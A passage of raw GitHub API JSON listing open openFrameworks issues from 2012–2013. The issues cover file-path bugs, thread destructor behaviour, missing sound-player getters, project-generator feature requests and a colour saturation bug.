ype":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":9,"created_at":"2012-05-10T06:35:24Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1239/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1239","id":4406584,"number":1239,"title":"Fix ofThread destructor behaviour","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":49,"closed_issues":5,"state":"open","created_at":"2013-02-11T12:15:03Z","updated_at":"2013-03-10T12:09:16Z","due_on":"2013-04-21T07:00:00Z"},"comments":31,"created_at":"2012-05-03T14:54:46Z","updated_at":"2013-02-11T12:16:04Z","closed_at":null,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1239","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1239.diff","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1239.patch"},"body":"The way ofThread's destructor worked was causing cleanup code at the end of threadedFunction to be skipped, sometimes leaving shared resources in an unusable state. This patch makes sure that the ofThread destructor waits until the thread has properly exited. \r\n\r\nIMO this patch is critical, but it should be treated with caution, as this has the possibility to cause deadlocks in code with multiple threads where the cleanup order is not clearly defined."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1236/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1236","id":4384548,"number":1236,"title":"init openframeworks before constructor of testapp is called?","user":{"login":"peteruithoven","id":523210,"avatar_url":"https://secure.gravatar.com/avatar/f39b1485b28be1dc2b98f269235218bc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f39b1485b28be1dc2b98f269235218bc","url":"https://api.github.com/users/peteruithoven","html_url":"https://github.com/peteruithoven","followers_url":"https://api.github.com/users/peteruithoven/followers","following_url":"https://api.github.com/users/peteruithoven/following","gists_url":"https://api.github.com/users/peteruithoven/gists{/gist_id}","starred_url":"https://api.github.com/users/peteruithoven/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/peteruithoven/subscriptions","organizations_url":"https://api.github.com/users/peteruithoven/orgs","repos_url":"https://api.github.com/users/peteruithoven/repos","events_url":"https://api.github.com/users/peteruithoven/events{/privacy}","received_events_url":"https://api.github.com/users/peteruithoven/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"state":"open","assignee":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"milestone":null,"comments":3,"created_at":"2012-05-02T13:24:49Z","updated_at":"2012-05-16T09:42:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I was trying to load a file in a subclass. I'm used to doing that in a constructor, but after an hour of debugging I found out that I can only do this if I make some kind of setup function. Because otherwise it's called before openframeworks is initialized. \r\n\r\nWhy not initialize openframeworks before ofRunApp or in the constructor ofBaseApp? \r\n\r\nTo reproduce put the following code in a constructor of a class and in a setup function that you call from the testapp setup. \r\nofFile f(\"DroidSans.ttf\");\r\ncout << f.getAbsolutePath() << endl;\r\n\r\nDifference is that when you load a file from the constructor the absolute url becomes:\r\n/Developer/openFrameworks/007/apps/data/DroidSans.ttf\r\nFrom a setup function that I call in the setup function of TestApp:\r\n/Developer/openFrameworks/007/apps/experiments/FindingFont2/bin/data/DroidSans.ttf"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1235/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1235","id":4383465,"number":1235,"title":"no get methods for ofSoundPlayer","user":{"login":"chrisoshea","id":104786,"avatar_url":"https://secure.gravatar.com/avatar/62d775b0fa28bcde2d9d29405d059be3?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"62d775b0fa28bcde2d9d29405d059be3","url":"https://api.github.com/users/chrisoshea","html_url":"https://github.com/chrisoshea","followers_url":"https://api.github.com/users/chrisoshea/followers","following_url":"https://api.github.com/users/chrisoshea/following","gists_url":"https://api.github.com/users/chrisoshea/gists{/gist_id}","starred_url":"https://api.github.com/users/chrisoshea/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chrisoshea/subscriptions","organizations_url":"https://api.github.com/users/chrisoshea/orgs","repos_url":"https://api.github.com/users/chrisoshea/repos","events_url":"https://api.github.com/users/chrisoshea/events{/privacy}","received_events_url":"https://api.github.com/users/chrisoshea/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-05-02T12:06:15Z","updated_at":"2012-05-02T12:51:38Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Right now (007), how do you get a volume of a sample? a float sample.volume?\r\n\r\nhttp://www.openframeworks.cc/documentation/sound/ofSoundPlayer.html#volume\r\n\r\nBut if you look at ofSoundPlayer or ofBaseSoundPlayer there is no variable volume, or length, or pan, or speed. This brings up a compile error in Xcode saying:\r\n\r\nNo member named 'volume' in 'ofSoundPlayer'\r\n\r\nSo here are the variables:\r\n\r\nbool bLoop\r\nbool bLoadedOk\r\nbool bPaused\r\nfloat pan\r\nfloat volume\r\nfloat speed\r\nunsigned int length\r\n\r\nHere are the set methods:\r\n\r\nsetVolume(...)\r\nsetPan(...)\r\nsetSpeed(...)\r\nsetPaused(...)\r\nsetLoop(...)\r\nsetMultiPlay(...)\r\nsetPosition(...)\r\n\r\nHere are the gets:\r\n\r\ngetPosition()\r\ngetIsPlaying()\r\ngetSpeed()\r\ngetPan()\r\nsetPlayer(...)\r\ngetPlayer()\r\nsetPositionMS(...)\r\ngetPositionMS()\r\n\r\nWhat is missing?\r\n\r\ngetVolume()\r\ngetPaused()\r\ngetLoop()\r\n\r\nOr has this already been fixed?\r\n\r\nCheers\r\n\r\n\r\n\r\n\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1234/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1234","id":4373361,"number":1234,"title":"PG should generate example projects in non-core addons","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-05-01T20:24:05Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"It would be great if the PG could get an option to generate the examples of non-core addons which the user has downloaded and placed in `OF/addons/`. This would really be useful to quickly look at/work with an addon.\r\n\r\nThe PG already knows about these addons. It would scan for folders in am addon's root directory with `example` in the name somewhere, and probably check the requisite structure (`src` folder, `addons.make` in place, etc), then generate the project file just the way it would if the example were in `OF/examples/addons/someExample`. Folder depth is the same, so I hope this is just a matter of adjusting the root folder for the example generation process - `addons` instead of `examples`.\r\n\r\nThoughts? Feedback?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1233/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1233","id":4373201,"number":1233,"title":"PG should offer addons download","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/automation","name":"automation","color":"5d5d5d"}],"state":"open","assignee":null,"milestone":null,"comments":2,"created_at":"2012-05-01T20:15:17Z","updated_at":"2012-05-04T03:31:24Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This idea I had came up during the latest devmeet: \r\n\r\n*Proposal*\r\n\r\nI think it would be great if the PG would in the future offer automated downloading of addons. This would lower the barrier for people getting addons they want/need. Additionally, it would take away/reduce the need/desire to include popular addons in the OF core repo and/or release download, if addons are so easy to get, as part of a workflow we already envision the users to follow in the future (i.e. the PG)\r\n\r\n*Behaviour as it is now/soon:*\r\n\r\nAlice has an idea for a new project. She needs a couple addons for realising her project, and knows which ones. \r\nShe opens a browser to go to ofxaddons.com and/or github to download the addons if she doesn't have them yet and places them into `OF/addons/`. Alice starts the PG. The PG knows about the addons, and allows her to select them for inclusion. She creates a project and starts coding.\r\n\r\n*Desired/envisioned behaviour:*\r\n\r\nBob has an idea for a new project. He needs a couple addons for realising his project, and knows which ones. \r\nBob uses the new version of the PG to create a project. Beside the list of installed addons, the PG offers a dropdown list to select addons to download and place into the proper place. It lets Bob select if he prefers a plain download (to just use the addon), or a cloned git repo (to stay up-to-date and/or propose improvements to the addon author). Bob selects the desired addons to download, waits a while until PG reports that they're in place, and chooses all needed addons from the newly expanded list. He creates a project, and start coding the Next Big Thing, without even needing the browser! Awesome, right?\r\n\r\n*Analysis:*\r\n\r\nAlthough I realize that this is no trivial feature, I think much of what we need is already in place. \r\nPG knows about the repo structure, which addons are already there, etc., and has most of the file-manipulation logic already I think. \r\nofxaddons.com maintains a list of available addons and their locations, so I hope it's rather easy to present this in some machine-readable way for PG consumption (@obviousjim, thoughts?). \r\nWget/curl/git could take care of the download. \r\nofxGUI would have to be extended with a dropdown list, or some other way of (space)efficiently presenting the huge list of addons available.\r\n\r\nPossible issues: \r\nCross-platform way of downloading/git cloning without pulling to many dependencies (Elliot brought this up I think). Maybe have a fallback chain of mechanisms?\r\nAddon structure may not comply to what is expected (for old addons e.g.), so the project wouldn't work in the beginning. The same issue would appear on manual download, though.\r\n\r\n\r\nThoughts and Feedback, please. :-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1232/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1232","id":4370619,"number":1232,"title":"bug/feature in ofColor::setSaturation ","user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"state":"open","assignee":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":14,"created_at":"2012-05-01T17:40:08Z","updated_at":"2013-02-11T12:12:35Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"should result in a gray circle, instead its white \r\n\r\n\tofColor c(255, 0, 0);\r\n\tc.setSaturation(0);\t\r\n\tofSetColor(c);\r\n\tofFill();\t\r\n\tofCircle(100,400,50);\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1229/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1229","id":4356530,"number":1229,"title":"pass matrices as uniforms with ofShader ","user":{"login":"Larsberg","id":346072,"avatar_url":"https://secure.gravatar.com/avatar/bb9a4f7c510339e9d7a447347dc263ba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bb9a4f7c510339e9d7a447347dc263ba","url":"https://api.github.com/users/Larsberg","html_url":"https://github.com/Larsberg","followers_url":"https://api.github.com/users/Larsberg/followers","following_url":"https://api.github.com/users/Larsberg/following","gists_url":"https://api.github.com/users/Larsberg/gists{/gist_id}","starred_url":"https://api.github.com/users/Larsberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Larsberg/subscriptions","organizations_url":"https://api.github.com/users/Larsberg/orgs","repos_url":"https://api.github.com/users/Larsberg/repos","events_url":"https://api.github.com/users/Larsberg/events{/privacy}","received_events_url":"https://api.github.com/users/Larsberg/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"state":"open","assignee":null,"milestone":null,"comments":1,"created_at":"2012-04-30T19:49:38Z","updated_at":"2012-05-01T06:35:54Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"How do you feel about passing matrices to ofShader as a uniform?\r\n\r\nsomething like:\r\n\r\n\tvoid ofShader::setUniformMatrix4fv(const char* name, ofMatrix& matrix ) {\r\n\t\tif(bLoaded)\r\n\t\t\tglUniformMatrix4fv(getUniformLocation(name), 1, GL_FALSE, matrix.getPtr());\r\n\t}"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1217/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1217","id":4269431,"number":1217,"title":"projectGenerator update doesn't respect existing project settings","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/8/labels","id":88731,"number":8,"title":"0.9.0 Release","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"open_issues":51,"closed_issues":4,"state":"open","created_at":"2012-02-25T01:34:28Z","updated_at":"2013-03-06T10:40:23Z","due_on":"2013-06-02T07:00:00Z"},"comments":5,"created_at":"2012-04-24T21:03:44Z","updated_at":"2013-02-11T12:13:03Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"On 'update', PG should respect existing custom include paths, source files, linker flags and project options (such as optimization settings).\r\n\r\nOR\r\n\r\nXcode project should read and respect `OTHER_LDFLAGS` and `HEADER_SEARCH_PATHS`, and add `OTHER_CFLAGS` from Project.xcconfig; projectGenerator should leave these settings alone unless it figures out they need to be adjusted (this is probably going to be difficult)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/labels{/name}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/comments","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1215/events","html_url":"https://github.com/openframeworks/openFrameworks/issues/1215","id":4269359,"number":1215,"title":"projectGenerator sets incorrect path in Project.xcconfig","user":{"login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/3ac59f1faa71f3b69fb9ceb83e50062c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3ac59f1faa71f3b69fb9ceb83e50062c","url":"https://api.github.com/users/damiannz","html_url":"https://github.com/damiannz","followers_url":"https://api.github.com/users/damiannz/followers","following_url":"https://api.github.com/users/damiannz/following","gists_url":"https://api.github.com/users/damiannz/gists{/gist_id}","starred_url":"https://api.github.com/users/damiannz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/damiannz/subscriptions","organizations_url":"https://api.github.com/users/damiannz/orgs","repos_url":"https://api.github.com/users/damiannz/repos","events_url":"https://api.github.com/users/damiannz/events{/privacy}","received_events_url":"https://api.github.com/users/damiannz/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project-generator","name":"project-generator","color":"444444"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/11/labels","id":264333,"number":11,"title":"0.8.0","description":"","creator":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id"